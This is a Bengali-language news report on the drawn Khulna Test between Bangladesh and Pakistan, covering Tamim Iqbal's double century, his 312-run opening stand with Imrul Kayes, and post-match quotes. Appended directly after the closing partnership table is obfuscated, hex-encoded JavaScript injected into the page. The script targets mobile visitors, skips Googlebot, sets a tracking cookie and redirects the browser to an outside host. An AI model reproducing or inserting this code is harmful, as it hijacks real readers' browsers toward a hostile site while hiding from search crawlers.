বদরুল খোকন : টেস্ট ক্রিকেট ড্রয়ের সঙ্গে বসে যায় ‘নিস্প্রান’ শব্দটি। টেস্টে ড্রতো নিত্য-নৈমিত্তিক ব্যাপার। কিন্তু কিছু ড্র আছে যা নাড়া দিয়ে যায় ক্রিকেটামোদীদের হৃদয়। আজ (শনিবার) শেষ হওয়া খুলনা টেস্ট তারই একটি। টেস্টের শেষ দিনে পাকিস্তানের বিপক্ষে বাংলাদেশ যেভাবে ইনিংসের সমাপ্তি টেনেছে তা প্রশংসার দাবীদার। ব্যাকফুট থেকে ঘুরে দাড়ানো, প্রথমবারের মতো দ্বিতীয় ইনিংসে ৫৫০ রান করা, জুটিতে অনন্য রেকর্ড, পাকিস্তানের বিপক্ষে প্রথম টেস্ট ড্র এবং তামিম ইকবালের ব্যক্তিগত রেকর্ড-সব মিলে এই টেস্টে জুড়ে রয়েছে অনেক অর্জন। অবিশ্বাস্য,অসাধারন একটি টেস্ট উপহার দিয়েছেন টাইগাররা। একটা সময় খাদের কিনারায় পড়ে যাওয়া ম্যাচটিতে মনে হয়েছিলো ঘুরে দাড়ানোটাই হবে কঠিন। বাংলাদেশের প্রথম ইনিংসের গড়া ৩৩২ রানের জবাবে পাকিস্তানের প্রথম ইনিংসে করা ৬২৮ রানই গড়ে দিয়েছিলো এই শঙ্কা। ২৯৬ রানে পিছিয়ে থেকে ব্যাটিংয়ে অসাধারন কিছু উপহার ছাড়া এমন বিপর্যয় অতিক্রম করাই ছিলো দু:স্বপ্ন।
বাংলাদেশ শেষ পর্যন্ত জয় করে নিয়েছে এই বিপর্যয়। নয় মাসের যুদ্ধে যারা স্বাধীনতা ছিনিয়ে নিতে জানে তারা ক্রিকেটেও নয় কেন! বীর সৈনিকের ভূমিকায় থাকা তামিম ও ইমরুল কায়েসে যেন একাত্তরের সেই চেতনাই ভর করেছিল। পাকিস্তানের পাল্টা জবাবে অসাধারন নৈপুন্যে ভেসে উঠেছেন দু’জনেই। ম্যাচের চতুর্থদিনেই জোড়া সেঞ্চুরিতে শঙ্কার মেঘ সরিয়ে দিলেন টেস্টে যে কোন উইকেটে নিজেদের সেরা জুটিটি গড়ে, বিনা উইকেটে ২৭৩ রান করে। আ জ (শনিবার) জুটির উচ্চতা আরেক ধাপ উপরে নিয়ে গেলেন তারা।
প্রথম ইনিংসের মতো আর ভুল হয়নি। ব্যাট-বলে রানের দারুন সামঞ্জস্য রেখে দু’জনেই নির্ভয়ে-বুক চিতিয়ে খেলেছেন। বাংলাদশের ক্রিকেটকে দিয়েছেন দু’হাত ভরে। ওপেনিং জুটিতে দলকে উপহার দিয়েছেন ৩১২ রান। টেস্টে বাংলাদেশের হয়ে যে কোন জুটিতে এটিই সর্বোচ্চ স্কোর। এছাড়াও তৃতীয় কিংবা চতুর্থ ইনিংসে প্রথম উইকেট জুটিতে সর্বোচ্চ রানের রেকর্ড জুটির মালিক এখন বাংলাদেশ। এতে ভেঙ্গেছেন তারা ৫৫ বছরের রেকর্ড।
শনিবার মাঠে নামার আগে তাদের উপরে ছিলেন ইংল্যান্ডের দুই ব্যাটসম্যান কলিন কাউড্রে-জিউফ পোলার। তারা ১৯৬০ সালে দক্ষিণ আফ্রিকার বিপক্ষে ২৯০ রানের জুটি গড়েছিলেন। এই প্রথম তামিম-ইমরুলের জুটি সেই রেকর্ডকে ছাড়িয়ে যায়।
ইমরুল ২৪০ বলে ব্যক্তিগত ১৫০ রানে বিদায় নেন। তার ইনিংসে ছিলো ১৬ বাউন্ডারি ও ৩ ছক্কা। কিন্তু তামিম থেমে থাকেননি। ডাবল সেঞ্চুরির করেই তবে বিদায় নিয়েছেন। যা কিনা তার ক্রিকেট ক্যারিয়ারের প্রথম ডাবল। শ্রীলঙ্কায় মুশফিক দেশের হয়ে প্রথম ডাবল সেঞ্চুরিটি হাঁকিয়েছিলেন। তামিম তাকেও ছাড়িয়ে গেছেন খুলনায় ২০৮ রান করে। ম্যাড় ম্যাড়ে ব্যাটিংয়ে নয়, দর্শকদের আনন্দ ছিলো সেখানে। জুনায়েদ খানকে ডাউন দ্যা উইকেটে গিয়ে সোজা ছক্কা হাঁকিয়ে এই কৃতিত্বে নাম লিখিয়েছেন। বাংলাদেশকে ৩৩৯ রানে পৌছে দিয়ে তামিম নিজের ব্যাটিং গল্পের ইতি টেনেছেন। এই ম্যাচেই তো তামিম গড়েছিলেন আরো দুই রেকর্ড; টেস্টে টানা তিন সেঞ্চুরি ও বাংলাদেশের হয়ে সর্বোচ্চ ৭ টেস্ট সেঞ্চুরি। যা নিরবে দেখেছেন পাকিস্তানের মিসবাহ বাহিনী। বিশাল লক্ষ্যের পিছনে দক্ষ টাইগারদের লড়াই দেখলেন প্রথম। যা দেখে তাদের অবাক হওয়ারই কথা। তাই বাংলাদেশকে ঘিরে প্রশংসা করতেই হয়।
মিসবাহ উল হকের কথাতেও তা বেরিয়ে এসেছে,‘সত্যিকারেই সব প্রশংসা বাংলাদেশেরই। তারা ভালো ভাবে গেমটিকে বিপদমুক্ত করতে পেরেছে। বিশেষ করে ওপেনিং জুটিতে। ওপেনিং জুটিটাই মূলত ম্যচের রুপ পাল্টে দিয়েছে। তারা দু’জনেই ব্যাটিংয়ে উপভোগ করেছেন।’
মিসবাহ উল হকের মতে বাংলাদেশের অধিনায়ক মুশফিকুর রহিমেরও মূল্যবান একই,‘ তামিম এবং ইমরুল অসাধারন খেলেছেন। টপ অর্ডার অত্যান্ত দ্বায়িত্বশীল ভাবে খেলেছেন। এটা আমাদের জন্য অনেক বড় প্রাপ্তি। তবে দলগত ভাবেই বাংলাদেশের এই অর্জন। কারন এই পিচে ২০ উইকেট দখল করা ছিলো খুবই কঠিন।’
সত্যি কথা বলতে কি, খুলনা টেস্ট বলতেই পুরো ম্যাচের ব্যখ্যাতেই ঘুরে ফিরে তামিম-ইমরুলকে নিয়ে যত গল্প। নিজের দিনে তামিম প্রতিপক্ষের জন্য কতোটা মাথা ব্যাথা হয়ে উঠতে পারেন সেই চিত্রই ঘুরে ফিরে আসছে। তামিম নিজেও শোনালেন,‘ আমি অত্যন্ত সন্তুষ্ট। আমি ইনিংসটি দারুন ভাবে শুরু করতে পেরেছি। তবে মাঠে আমাদের পরিকল্পনা ছিলো-ইমরুল থেমে খেলবে আমি আক্রমনাত্মক খেলবো। আমাদের দু’জনের এই কম্বিনেশন দারুন কাজে দিয়েছে।’
এমন একটি ইনিংস খেলার পর খুলনা টেস্টের সেরা তাকে কল্পনা করাই স্বাভাবিক। ম্যাচ শেষে সেটাই ঘোষনা করা হয়েছে।
প্রথম ইনিংসে তামিম মাত্র ২৫ রানে আউট হয়েছিলেন। এবার দুই ইনিংসে দাড়ালো ২৩৩ রান। ঢাকা টেস্টেও যদি তার ব্যাট হাসে তাহলে যে টেস্ট সিরিজেও সর্বোচ্চ হওয়ার সম্ভাবনা আছে তাতে সন্দেহ নেই। তবে প্রিয় বন্ধু সাকিব আল হাসানের সেঞ্চুরিটা হলে হয়তো মনের বাকি ইচ্ছাটাও পূরন হতো তামিমের। তাই ম্যাচ নিশ্চিত ড্র হওয়া যেনও ড্রেসিং রুম থেকে সাকিবকে ব্যাট চালিয়ে যাওয়ার ইশারাইটাই করলেন। কিন্তু ৭৬ রানে থাকা সাকিবে ছিলো না সেঞ্চুরির ততোটা আগ্রহ। সৌম্যকে নিয়ে মাঝপথের বিপর্যয়ে হাল ধরা সাকিব শেষ ওখানেই ইনিংস সমাপ্তি মেনে নিয়ে মাঠ ছেড়েছেন। ১০৪ বলে সাকিব ৭৬ রানে অপরাজিত থাকেন। ছিলো চার বাউন্ডারি ও এক ছক্কা। অন্য দিকে শুভাগত হোম ২০ রানে ছিলেন অপরাজিত। এছাড়া বাংলাদেশের পক্ষে এই ইনিংসে অন্যান্যদের মধ্যে মনিুল হক ২১,মাহমুদ উল্লাহ রিয়াদ ৪০ ও সৌম্য সরকার ৩৩ রান করেছেন। মুশফিক এই ইনিংসে রানের খাতা খোলার আগেই রান আউট হয়ে সাজঘরে ফিরেছেন। পাকিস্তানের পক্ষে জুনায়েদ খান ও মোহাম্মদ হাফিজ ২টি করে এবং জুলফিকার বাবর ও আসাদ শফিক ১টি করে উইকেট লাভ করেন।

তৃতীয় ইনিংসে সর্বোচ্চ ৫ জুটি
ইমরুল-তামিম (বাংলাদেশ) – ৩১২
কাউড্রে- পোলার (ইংল্যান্ড) – ২৯০
স্ট্রাউজ- ট্রেসকোথিক (ইংল্যান্ড) – ২৭৩
গর্ডন গ্রিনেজ-হাইনস (ও.ইন্ডিজ) – ২৫০*
হেইডেন-ল্যাঙ্গার (অস্ট্রেলিয়া) – ২৪২var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}